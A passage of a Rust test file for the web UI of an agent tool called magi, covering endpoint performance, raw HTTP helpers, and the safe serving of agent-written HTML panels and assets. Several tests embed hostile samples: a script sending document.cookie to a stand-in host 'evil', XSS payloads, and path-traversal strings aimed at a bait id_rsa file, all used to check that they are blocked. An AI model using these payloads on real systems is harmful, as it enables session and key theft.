11088 questions: usize,
11089 runs: usize,
11090 items: usize,
11091 ) {
11092 for i in fx.questions().list().len()..questions {
11094 let mut question = Question::new(
11095 "20261001-000000-0000".into(),
11096 "implement".into(),
11097 "impl-A".into(),
11098 format!("question {i}"),
11099 "context".into(),
11100 vec!["yes".into(), "no".into()],
11101 );
11102 question.id = format!("20261003-000000-{i:04x}");
11103 fx.questions().put(&mut question).unwrap();
11104 }
11105 for i in run_ids(&fx.runs()).len()..runs {
11106 write_run_repo(
11107 &fx.runs(),
11108 &format!("20261001-000000-{i:04x}"),
11109 RunStatus::Ready,
11110 repos[i % 2].to_str().unwrap(),
11111 );
11112 }
11113 for i in fx.talks().list().len()..items {
11114 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11115 let mut talk = fx.talks().get(&id).unwrap();
11116 talk.repo = repos[i % 2].clone();
11117 fx.talks().put(&mut talk).unwrap();
11118 let mut task = crate::queue::Task::new(
11119 format!("task {i}"),
11120 "instruction".into(),
11121 repos[i % 2].clone(),
11122 crate::queue::Source::Agent {
11123 run: id,
11124 node: crate::queue::CHAT_NODE.into(),
11125 },
11126 );
11127 task.id = format!("20261004-000000-{i:04x}");
11128 fx.queue().put(&mut task).unwrap();
11129 if i < crate::notices::CAP {
11131 Notices::at(fx.home.path().join("notifications"))
11132 .raise(Notice::info(&format!("notice-{i}"), "notification"))
11133 .unwrap();
11134 }
11135 }
11136 assert_eq!(fx.questions().list().len(), questions);
11137 assert_eq!(run_ids(&fx.runs()).len(), runs);
11138 assert_eq!(fx.talks().list().len(), items);
11139 assert_eq!(fx.queue().list().len(), items);
11140 assert_eq!(
11141 Notices::at(fx.home.path().join("notifications"))
11142 .list()
11143 .len(),
11144 items.min(crate::notices::CAP)
11145 );
11146 }
11147
11148 fn request_counts(res: &Res) -> (usize, usize) {
11149 assert_eq!(res.status, 200, "{}", res.body);
11150 (
11151 res.header("x-test-discoveries").unwrap().parse().unwrap(),
11152 res.header("x-test-git").unwrap().parse().unwrap(),
11153 )
11154 }
11155
11156 #[tokio::test]
11157 async fn list_request_cost_is_independent_of_record_count() {
11158 let (_tmp, repos, fx) = performance_fixture().await;
11159 let mut previous = None;
11160 for n in [4, 60] {
11161 seed_performance(&fx, &repos, n, n, n);
11162 let mut costs = Vec::new();
11163 for (path, discoveries) in [
11164 ("/api/questions", 1),
11165 ("/api/talks", 0),
11166 ("/api/health", 0),
11167 ("/api/stats", 1),
11168 ] {
11169 for repo in &repos {
11172 let cache = repo.join(".git/magi/config");
11173 if cache.exists() {
11174 std::fs::remove_dir_all(cache).unwrap();
11175 }
11176 }
11177 let cost = request_counts(&fx.get(path).await);
11178 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11179 assert_eq!(cost.0, discoveries, "{path}, N={n}");
11180 assert!(
11181 cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11182 "{path}: {cost:?}"
11183 );
11184 costs.push(cost);
11185 }
11186 if let Some(previous) = previous {
11187 assert_eq!(costs, previous);
11188 }
11189 previous = Some(costs);
11190 }
11191 }
11195
11196 #[tokio::test]
11199 async fn list_handler_cost_without_transport() {
11200 let (_tmp, repos) = performance_repositories().await;
11201 let fx = Fixture {
11202 home: TempDir::new().unwrap(),
11203 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11204 };
11205 let ui = Arc::new(
11206 Ui::new(
11207 fx.queue(),
11208 fx.questions(),
11209 fx.talks(),
11210 fx.runs(),
11211 fx.home.path().to_path_buf(),
11212 repos[0].clone(),
11213 )
11214 .with_worktrees_root(fx.home.path().join("wt")),
11215 );
11216 let mut previous = None;
11217 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11218 seed_performance(&fx, &repos, n, runs, items);
11219 let mut costs = Vec::new();
11220 for endpoint in ["questions", "talks", "health", "stats"] {
11221 for repo in &repos {
11222 let cache = repo.join(".git/magi/config");
11223 if cache.exists() {
11224 std::fs::remove_dir_all(cache).unwrap();
11225 }
11226 }
11227 let (_, cost) = request_cost::measure(async {
11228 match endpoint {
11229 "questions" => {
11230 let _ = questions_list(State(ui.clone())).await.unwrap();
11231 }
11232 "talks" => {
11233 let _ = talks_list(
11234 State(ui.clone()),
11235 Query(ListQuery {
11236 limit: None,
11237 ids: None,
11238 }),
11239 header::HeaderMap::new(),
11240 )
11241 .await
11242 .unwrap();
11243 }
11244 "health" => {
11245 let _ = health(State(ui.clone())).await.unwrap();
11246 }
11247 _ => {
11248 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11249 .await
11250 .unwrap();
11251 }
11252 }
11253 })
11254 .await;
11255 eprintln!("{endpoint} handler N={n}: {cost:?}");
11256 assert_eq!(
11257 cost.0,
11258 if matches!(endpoint, "talks" | "health") {
11259 0
11260 } else {
11261 1
11262 },
11263 "{endpoint}"
11264 );
11265 assert!(
11266 cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11267 "{endpoint}: {cost:?}"
11268 );
11269 costs.push(cost);
11270 }
11271 if let Some(previous) = previous {
11272 assert_eq!(costs, previous);
11273 }
11274 previous = Some(costs);
11275 }
11276 }
11277
11278 #[tokio::test]
11279 async fn list_request_cost_scopes_do_not_mix() {
11280 let (_tmp, repos, fx) = performance_fixture().await;
11281 seed_performance(&fx, &repos, 10, 0, 10);
11282 let (questions, talks, notices) = tokio::join!(
11283 fx.get("/api/questions"),
11284 fx.get("/api/talks"),
11285 fx.get("/api/notifications")
11286 );
11287 assert_eq!(request_counts(&questions).0, 1);
11288 assert_eq!(request_counts(&talks), (0, 0));
11291 assert_eq!(request_counts(¬ices), (0, 0));
11292 }
11293
11294 #[tokio::test]
11295 async fn list_endpoints_large_home_responses() {
11296 check_large_home_endpoints(false).await;
11297 }
11298
11299 #[tokio::test]
11300 #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11301 async fn list_endpoints_large_home_ceiling() {
11302 check_large_home_endpoints(true).await;
11303 }
11304
11305 async fn check_large_home_endpoints(timed: bool) {
11306 let (_tmp, repos, fx) = performance_fixture().await;
11307 seed_performance(&fx, &repos, 200, 300, 400);
11308 let mut failures = Vec::new();
11309 for path in [
11312 "/",
11313 "/app.js",
11314 "/app.css",
11315 "/api/questions",
11316 "/api/runs?limit=300",
11317 "/api/queue",
11318 "/api/talks",
11319 "/api/notifications",
11320 "/api/health",
11321 "/api/stats",
11322 "/api/loop",
11323 "/api/settings",
11324 "/api/repos",
11325 ] {
11326 let start = std::time::Instant::now();
11327 let result = if timed {
11328 tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11329 } else {
11330 Ok(fx.get(path).await)
11331 };
11332 let elapsed = start.elapsed();
11333 eprintln!("{path}: {elapsed:?}");
11334 match result {
11335 Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11336 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11337 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11338 }
11339 }
11340 assert!(failures.is_empty(), "{}", failures.join("\n"));
11341 }
11342
11343 struct Res {
11344 status: u16,
11345 headers: String,
11346 head: String,
11351 body: String,
11352 bytes: Vec<u8>,
11356 }
11357
11358 impl Res {
11359 fn json(&self) -> Value {
11360 serde_json::from_str(&self.body)
11361 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11362 }
11363
11364 fn header(&self, name: &str) -> Option<&str> {
11366 self.head.lines().find_map(|line| {
11367 let (key, value) = line.split_once(':')?;
11368 key.trim()
11369 .eq_ignore_ascii_case(name)
11370 .then(|| value.trim_start().trim_end_matches('\r'))
11371 })
11372 }
11373 }
11374
11375 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11378 request_with(addr, method, path, body, &[]).await
11379 }
11380
11381 async fn request_with(
11385 addr: SocketAddr,
11386 method: &str,
11387 path: &str,
11388 body: Option<&str>,
11389 extra: &[(&str, &str)],
11390 ) -> Res {
11391 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11392 for (name, value) in extra {
11393 head.push_str(&format!("{name}: {value}\r\n"));
11394 }
11395 if let Some(body) = body {
11396 head.push_str("Content-Type: application/json\r\n");
11397 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11398 }
11399 head.push_str("\r\n");
11400 if let Some(body) = body {
11401 head.push_str(body);
11402 }
11403 let mut socket = tokio::net::TcpStream::connect(addr)
11404 .await
11405 .expect("connect to the test server");
11406 socket
11407 .write_all(head.as_bytes())
11408 .await
11409 .expect("write request");
11410 let mut raw = Vec::new();
11411 socket.read_to_end(&mut raw).await.expect("read response");
11412 let split = raw
11415 .windows(4)
11416 .position(|w| w == b"\r\n\r\n")
11417 .expect("a header block");
11418 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11419 let bytes = raw[split + 4..].to_vec();
11420 let status = head
11421 .lines()
11422 .next()
11423 .and_then(|line| line.split_whitespace().nth(1))
11424 .and_then(|code| code.parse().ok())
11425 .expect("a status line");
11426 Res {
11427 status,
11428 headers: head.to_lowercase(),
11429 head,
11430 body: String::from_utf8_lossy(&bytes).into_owned(),
11431 bytes,
11432 }
11433 }
11434
11435 async fn request_bytes(
11441 addr: SocketAddr,
11442 path: &str,
11443 headers: &[(&str, &str)],
11444 body: &[u8],
11445 ) -> Res {
11446 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11447 for (name, value) in headers {
11448 head.push_str(&format!("{name}: {value}\r\n"));
11449 }
11450 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11451 let mut socket = tokio::net::TcpStream::connect(addr)
11452 .await
11453 .expect("connect to the test server");
11454 socket
11455 .write_all(head.as_bytes())
11456 .await
11457 .expect("write request head");
11458 socket.write_all(body).await.expect("write request body");
11459 let mut raw = Vec::new();
11460 socket.read_to_end(&mut raw).await.expect("read response");
11461 let split = raw
11462 .windows(4)
11463 .position(|w| w == b"\r\n\r\n")
11464 .expect("a header block");
11465 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11466 let bytes = raw[split + 4..].to_vec();
11467 let status = head
11468 .lines()
11469 .next()
11470 .and_then(|line| line.split_whitespace().nth(1))
11471 .and_then(|code| code.parse().ok())
11472 .expect("a status line");
11473 Res {
11474 status,
11475 headers: head.to_lowercase(),
11476 head,
11477 body: String::from_utf8_lossy(&bytes).into_owned(),
11478 bytes,
11479 }
11480 }
11481
11482 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11484 let mut state = RunState::new(
11485 PathBuf::from("/repo/magi"),
11486 "main".to_owned(),
11487 "0123456789abcdef".to_owned(),
11488 "Add a web UI\n\nMobile first.".to_owned(),
11489 Config::default(),
11490 );
11491 state.id = id.to_owned();
11492 state.status = status;
11493 let dir = runs.join(id);
11494 std::fs::create_dir_all(&dir).expect("run dir");
11495 std::fs::write(
11496 dir.join("run.json"),
11497 serde_json::to_string_pretty(&state).expect("serialize run"),
11498 )
11499 .expect("write run.json");
11500 }
11501
11502 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11506 let mut state = RunState::new(
11507 PathBuf::from(repo),
11508 "main".to_owned(),
11509 "0123456789abcdef".to_owned(),
11510 "task".to_owned(),
11511 Config::default(),
11512 );
11513 state.id = id.to_owned();
11514 state.status = status;
11515 let dir = runs.join(id);
11516 std::fs::create_dir_all(&dir).expect("run dir");
11517 std::fs::write(
11518 dir.join("run.json"),
11519 serde_json::to_string_pretty(&state).expect("serialize run"),
11520 )
11521 .expect("write run.json");
11522 }
11523
11524 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11525 let body = serde_json::json!({
11526 "schema": 1,
11527 "pid": 4242,
11528 "started_at": Timestamp::now().to_string(),
11529 "updated_at": updated_at.to_string(),
11530 "idle": false,
11531 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11532 "completed": 7,
11533 "polls": 143,
11534 });
11535 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11536 }
11537
11538 fn launch_idle(
11548 _opts: daemon::Opts,
11549 stop: daemon::Stop,
11550 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11551 Box::pin(async move {
11552 while !stop.stopped() {
11553 tokio::time::sleep(Duration::from_millis(2)).await;
11554 }
11555 Ok(())
11556 })
11557 }
11558
11559 fn launch_broken(
11562 _opts: daemon::Opts,
11563 _stop: daemon::Stop,
11564 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11565 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11570 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11571 Box::pin(async move {
11572 Err(anyhow::anyhow!(if first {
11573 "publish the daemon status file: read-only file system"
11574 } else {
11575 "the restarted stand-in failed as well"
11576 }))
11577 })
11578 }
11579
11580 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11589 for _ in 0..SETTLE_STEPS {
11590 let view = fx.get("/api/loop").await.json();
11591 if want(&view) {
11592 return view;
11593 }
11594 tokio::time::sleep(Duration::from_millis(10)).await;
11595 }
11596 panic!(
11597 "the loop never settled: {}",
11598 fx.get("/api/loop").await.json()
11599 );
11600 }
11601
11602 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11604 let store = fx.questions();
11605 let mut q = Question::new(
11606 "20260902-000000-beef".to_owned(),
11607 "implement".to_owned(),
11608 "impl-A".to_owned(),
11609 summary.to_owned(),
11610 "because it matters".to_owned(),
11611 choices.iter().map(|c| (*c).to_owned()).collect(),
11612 );
11613 store.put(&mut q).expect("put question");
11614 q.id
11615 }
11616
11617 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11623 let store = fx.questions();
11624 let mut q = Question::new(
11625 "20260902-000000-beef".to_owned(),
11626 "land".to_owned(),
11627 "fix".to_owned(),
11628 "Merge this?".to_owned(),
11629 "the diff is in the panel".to_owned(),
11630 vec!["merge".to_owned(), "hold".to_owned()],
11631 );
11632 let staging = fx.home.path().join("staging");
11635 std::fs::create_dir_all(&staging).expect("staging dir");
11636 let sources: Vec<PathBuf> = assets
11637 .iter()
11638 .map(|(name, bytes)| {
11639 let path = staging.join(name);
11640 std::fs::write(&path, bytes).expect("write staged asset");
11641 path
11642 })
11643 .collect();
11644 store
11645 .put_panel(&mut q, html, &sources)
11646 .expect("write the panel");
11647 store.put(&mut q).expect("put question");
11648 q.id
11649 }
11650
11651 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11660 seed_talk_at(&fx.talks(), id, status)
11661 }
11662
11663 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11664 std::fs::create_dir_all(store.root()).expect("talks dir");
11665 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11666 .expect("serialize a seat");
11667 let body = serde_json::json!({
11668 "schema": 1,
11669 "id": id,
11670 "repo": "/repo/magi",
11671 "agent": "mock",
11672 "status": status,
11673 "turns": [],
11674 "created_at": Timestamp::now().to_string(),
11675 "updated_at": Timestamp::now().to_string(),
11676 "seat": seat,
11677 });
11678 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11679 store.get(id).expect("the seeded talk has to be readable");
11680 id.to_owned()
11681 }
11682
11683 #[tokio::test]
11684 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11685 let fx = Fixture::start().await;
11686 let id = panel(
11687 &fx,
11688 "<h1>Merge?</h1><img src=\"diff.svg\">",
11689 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11690 );
11691
11692 for path in [
11693 format!("/api/questions/{id}/panel"),
11694 format!("/api/questions/{id}/asset/diff.svg"),
11695 ] {
11696 let res = fx.get(&path).await;
11697 assert_eq!(res.status, 200, "{path}: {}", res.body);
11698 assert_eq!(
11704 res.header("content-security-policy"),
11705 Some(
11706 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11707 font-src data:; base-uri 'none'; form-action 'none'; \
11708 frame-ancestors 'self'"
11709 ),
11710 "{path} is the only thing between a hostile panel and the tailnet"
11711 );
11712 assert_eq!(
11713 res.header("x-content-type-options"),
11714 Some("nosniff"),
11715 "{path}: a browser must not re-decide the type we sent"
11716 );
11717 assert_eq!(
11718 res.header("referrer-policy"),
11719 Some("no-referrer"),
11720 "{path}: a panel must not leak the question id off the machine"
11721 );
11722
11723 let pre = fx.head(&path).await;
11728 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11729 assert_eq!(
11730 pre.header("content-security-policy"),
11731 res.header("content-security-policy"),
11732 "{path}: the preflight carries the same policy"
11733 );
11734 assert_eq!(
11735 pre.header("content-type"),
11736 res.header("content-type"),
11737 "{path}: the preflight carries the same type"
11738 );
11739 }
11740 }
11741
11742 #[tokio::test]
11743 async fn a_panel_reaches_the_browser_byte_for_byte() {
11744 let fx = Fixture::start().await;
11745 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
11750 let id = panel(&fx, html, &[]);
11751
11752 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11753
11754 assert_eq!(res.status, 200);
11755 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11756 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11757 assert_eq!(
11758 res.header("content-disposition"),
11759 None,
11760 "the panel itself is rendered in the frame, not downloaded"
11761 );
11762 }
11763
11764 #[tokio::test]
11765 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11766 let fx = Fixture::start().await;
11767 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11768 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11769 let id = panel(
11770 &fx,
11771 "<img src=\"diff.svg\"><img src=\"shot.png\">",
11772 &[("diff.svg", svg), ("shot.png", png)],
11773 );
11774
11775 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11776 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11777
11778 assert_eq!(as_svg.status, 200);
11779 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11780 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11785
11786 assert_eq!(as_png.status, 200);
11787 assert_eq!(as_png.header("content-type"), Some("image/png"));
11788 assert_eq!(
11789 as_png.header("content-disposition"),
11790 None,
11791 "a raster image has no execution surface, so tapping it still shows it"
11792 );
11793 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11794 }
11795
11796 #[tokio::test]
11797 async fn an_html_asset_is_never_served_as_html() {
11798 let fx = Fixture::start().await;
11799 let id = panel(
11800 &fx,
11801 "<p>see the notes</p>",
11802 &[
11803 (
11804 "notes.html",
11805 b"<script>fetch('http://evil/'+document.cookie)</script>",
11806 ),
11807 ("hook.js", b"fetch('http://evil/')"),
11808 ("data.json", b"{}"),
11809 ("HEADLINE.TXT", b"plain"),
11810 ],
11811 );
11812
11813 for name in ["notes.html", "hook.js", "data.json"] {
11814 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11815 assert_eq!(res.status, 200, "{name}: {}", res.body);
11816 assert_eq!(
11821 res.header("content-type"),
11822 Some("application/octet-stream"),
11823 "{name} must not be a type the browser will execute or render"
11824 );
11825 }
11826 let txt = fx
11829 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11830 .await;
11831 assert_eq!(
11832 txt.header("content-type"),
11833 Some("text/plain; charset=utf-8")
11834 );
11835 }
11836
11837 #[tokio::test]
11838 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11839 let fx = Fixture::start().await;
11840 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11841 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11845
11846 for encoded in [
11853 "%2e%2e%2fid_rsa",
11854 "..%2fid_rsa",
11855 "..%5cid_rsa",
11856 "%2e%2e%5cid_rsa",
11857 "diff%00.svg",
11858 "..",
11859 ".hidden",
11860 "%2e%2e%2f%2e%2e%2fid_rsa",
11861 ] {
11862 let res = fx
11863 .get(&format!("/api/questions/{id}/asset/{encoded}"))
11864 .await;
11865 assert_eq!(
11866 res.status, 400,
11867 "`{encoded}` has to be refused by name, not looked up: {}",
11868 res.body
11869 );
11870 assert!(res.json()["error"].is_string(), "{}", res.body);
11871 }
11872
11873 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11879 let res = fx
11880 .get(&format!("/api/questions/{id}/asset/{literal}"))
11881 .await;
11882 assert_eq!(
11883 res.status, 404,
11884 "`{literal}` must not match the asset route at all: {}",
11885 res.body
11886 );
11887 }
11888 }
11889
11890 #[tokio::test]
11891 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11892 let fx = Fixture::start().await;
11893 let plain = ask(&fx, "Which backend?", &["SQLite"]);
11894 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11895
11896 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11900 assert_eq!(none.status, 404, "{}", none.body);
11901 assert!(none.json()["error"].is_string(), "{}", none.body);
11902 assert_eq!(
11903 fx.head(&format!("/api/questions/{plain}/panel"))
11904 .await
11905 .status,
11906 404,
11907 "the preflight is the only way the client can learn this"
11908 );
11909
11910 let missing = fx
11912 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11913 .await;
11914 assert_eq!(missing.status, 404, "{}", missing.body);
11915 assert!(missing.json()["error"].is_string(), "{}", missing.body);
11916
11917 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11919 assert_eq!(
11920 fx.get("/api/questions/nope/asset/diff.svg").await.status,
11921 404
11922 );
11923 }
11924
11925 #[tokio::test]
11926 async fn a_run_with_an_open_question_reads_as_waiting() {
11927 let fx = Fixture::start().await;
11928 let run = "20260902-000000-beef".to_owned();
11929 write_run(&fx.runs(), &run, RunStatus::Implementing);
11930
11931 let before = fx.get("/api/runs").await.json();
11932 assert_eq!(before[0]["waiting"], false, "{before}");
11933
11934 let store = fx.questions();
11935 let mut q = Question::new(
11936 run.clone(),
11937 "implement".to_owned(),
11938 "impl-A".to_owned(),
11939 "Which backend?".to_owned(),
11940 String::new(),
11941 vec!["SQLite".to_owned()],
11942 );
11943 store.put(&mut q).expect("put");
11944
11945 let during = fx.get("/api/runs").await.json();
11946 assert_eq!(during[0]["waiting"], true, "{during}");
11947
11948 q.answer(Answer::Choice("SQLite".to_owned()))
11951 .expect("answer");
11952 store.put(&mut q).expect("put");
11953 let after = fx.get("/api/runs").await.json();
11954 assert_eq!(after[0]["waiting"], false, "{after}");
11955 }
11956
11957 #[tokio::test]
11958 async fn an_open_question_is_listed_and_counted_by_health() {
11959 let fx = Fixture::start().await;
11960 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11961
11962 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11963 let listed = fx.get("/api/questions").await.json();
11964 assert_eq!(listed.as_array().expect("array").len(), 1);
11965 assert_eq!(listed[0]["id"], id);
11966 assert_eq!(listed[0]["status"], "open");
11967 assert_eq!(listed[0]["choices"][1], "Redis");
11968 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11971 }
11972
11973 fn obsolete_approval_state() -> RunState {
11974 let mut state = crate::land::tests::repair_state(true, true);
11975 state.pr = Some(crate::run::PrRecord {
11976 url: "https://github.com/example/repo/pull/42".into(),
11977 number: 42,
11978 state: "open".into(),
11979 checks: "green".into(),
11980 round: 1,
11981 rounds: 4,
11982 red_at_merge: Vec::new(),
11983 });
11984 state
11985 }
11986
11987 #[tokio::test]
11988 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11989 for owner in ["missing", "current", "completed", "later"] {
11990 let fx = Fixture {
11991 home: TempDir::new().unwrap(),
11992 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11993 };
11994 let mut state = obsolete_approval_state();
11995 state.status = RunStatus::Landing;
11996 state.parked = true;
11997 state.driver_exited = true;
11998 let mut q = Question::new(
11999 state.id.clone(),
12000 crate::land::APPROVAL_NODE.into(),
12001 "land".into(),
12002 "Old approval".into(),
12003 "Original evidence".into(),
12004 vec!["merge".into(), "hold".into()],
12005 );
12006 state.land_approval = Some(crate::run::LandApproval {
12007 question: q.id.clone(),
12008 head: "head".into(),
12009 });
12010 state.save_under(fx.home.path()).unwrap();
12011 let stale = state.clone();
12012 fx.questions().put(&mut q).unwrap();
12013 let mut task = Task::new(
12014 "Owner".into(),
12015 "Original instruction".into(),
12016 state.repo.clone(),
12017 Source::Human,
12018 );
12019 task.runs.push(state.id.clone());
12020 task.status = if owner == "completed" {
12021 TaskStatus::Done
12022 } else {
12023 TaskStatus::Parked
12024 };
12025 if owner == "later" {
12026 task.runs.push("later-run".into());
12027 }
12028 if owner != "missing" {
12029 fx.queue().put(&mut task).unwrap();
12030 }
12031 let ui = Arc::new(Ui::new(
12032 fx.queue(),
12033 fx.questions(),
12034 fx.talks(),
12035 fx.runs(),
12036 fx.home.path().into(),
12037 state.repo.clone(),
12038 ));
12039 let response = question_answer(
12040 State(ui),
12041 Path(q.id.clone()),
12042 Ok(Json(NewAnswer {
12043 choice: Some(crate::merge_decision::DISMISS.into()),
12044 text: None,
12045 ..Default::default()
12046 })),
12047 )
12048 .await
12049 .unwrap();
12050 assert_eq!(
12051 response.0.question.resolution().as_deref(),
12052 Some(crate::merge_decision::DISMISS)
12053 );
12054 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12055 assert_eq!(disk.status, RunStatus::Superseded);
12056 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12057 assert!(!crate::merge_decision::resumable_hold(&disk));
12058 assert_eq!(
12059 serde_json::to_value(&disk.pr).unwrap(),
12060 serde_json::to_value(&stale.pr).unwrap()
12061 );
12062 assert_eq!(fx.questions().count_open(), 0);
12063 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12064 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12065 if owner == "missing" {
12066 assert!(fx.queue().list().is_empty());
12067 } else {
12068 let after = fx.queue().get(&task.id).unwrap();
12069 assert_eq!(
12070 after.status,
12071 if owner == "current" {
12072 TaskStatus::Done
12073 } else {
12074 task.status
12075 }
12076 );
12077 assert_eq!(after.runs, task.runs);
12078 assert_eq!(after.instruction, task.instruction);
12079 assert_eq!(after.action_applied(&q.id), owner == "current");
12080 }
12081 }
12082 }
12083
12084 #[tokio::test]
12085 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12086 let fx = Fixture::start().await;
12087 let mut state = obsolete_approval_state();
12088 state.status = RunStatus::Landing;
12089 state.parked = true;
12090 state.driver_exited = true;
12091 let mut q = Question::new(
12092 state.id.clone(),
12093 crate::land::APPROVAL_NODE.into(),
12094 "land".into(),
12095 "Superseded PR approval".into(),
12096 "Original review evidence".into(),
12097 vec!["merge".into(), "hold".into()],
12098 );
12099 state.land_approval = Some(crate::run::LandApproval {
12100 question: q.id.clone(),
12101 head: "old-reviewed-head".into(),
12102 });
12103 state.save_under(fx.home.path()).unwrap();
12106 let stale_driver = state.clone();
12107 fx.questions().put(&mut q).unwrap();
12108 let path = fx
12109 .home
12110 .path()
12111 .join("questions")
12112 .join(format!("{}.json", q.id));
12113 let mut legacy = serde_json::to_value(&q).unwrap();
12114 legacy["schema"] = 9.into();
12115 legacy.as_object_mut().unwrap().remove("merge_target");
12116 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12117
12118 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12121 let answer_path = format!("/api/questions/{}/answer", q.id);
12122 let res = fx.post(&answer_path, Some(&body)).await;
12123 assert_eq!(res.status, 200, "{}", res.body);
12124 let disk = fx.questions().get(&q.id).unwrap();
12125 assert_eq!(
12126 disk.resolution().as_deref(),
12127 Some(crate::merge_decision::DISMISS)
12128 );
12129 assert!(disk.detail.starts_with("Original review evidence"));
12130 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12131 assert_eq!(retired.status, RunStatus::Superseded);
12132 assert_eq!(
12133 serde_json::to_value(&retired.pr).unwrap(),
12134 serde_json::to_value(&state.pr).unwrap()
12135 );
12136 assert!(!retired.merge_decision.as_ref().unwrap().closed);
12137 assert!(!crate::merge_decision::resumable_hold(&retired));
12138 assert!(fx.queue().list().is_empty());
12139 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12140 let addr = Fixture::serve(
12142 fx.home.path(),
12143 PathBuf::from("/repo/magi"),
12144 launch_idle,
12145 None,
12146 )
12147 .await;
12148 let reconnected = Fixture {
12149 home: fx.home,
12150 addr,
12151 };
12152 let listed = reconnected.get("/api/questions").await.json();
12153 assert!(
12154 listed
12155 .as_array()
12156 .unwrap()
12157 .iter()
12158 .all(|q| q["status"] != "open")
12159 );
12160 assert_eq!(listed[0]["id"], q.id, "history remains available");
12161 assert_eq!(
12162 reconnected.get("/api/health").await.json()["questions_open"],
12163 0
12164 );
12165 assert_eq!(
12166 reconnected
12167 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12168 .await
12169 .status,
12170 409
12171 );
12172 assert!(
12174 reconnected
12175 .questions()
12176 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12177 .is_err()
12178 );
12179 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12182 }
12183
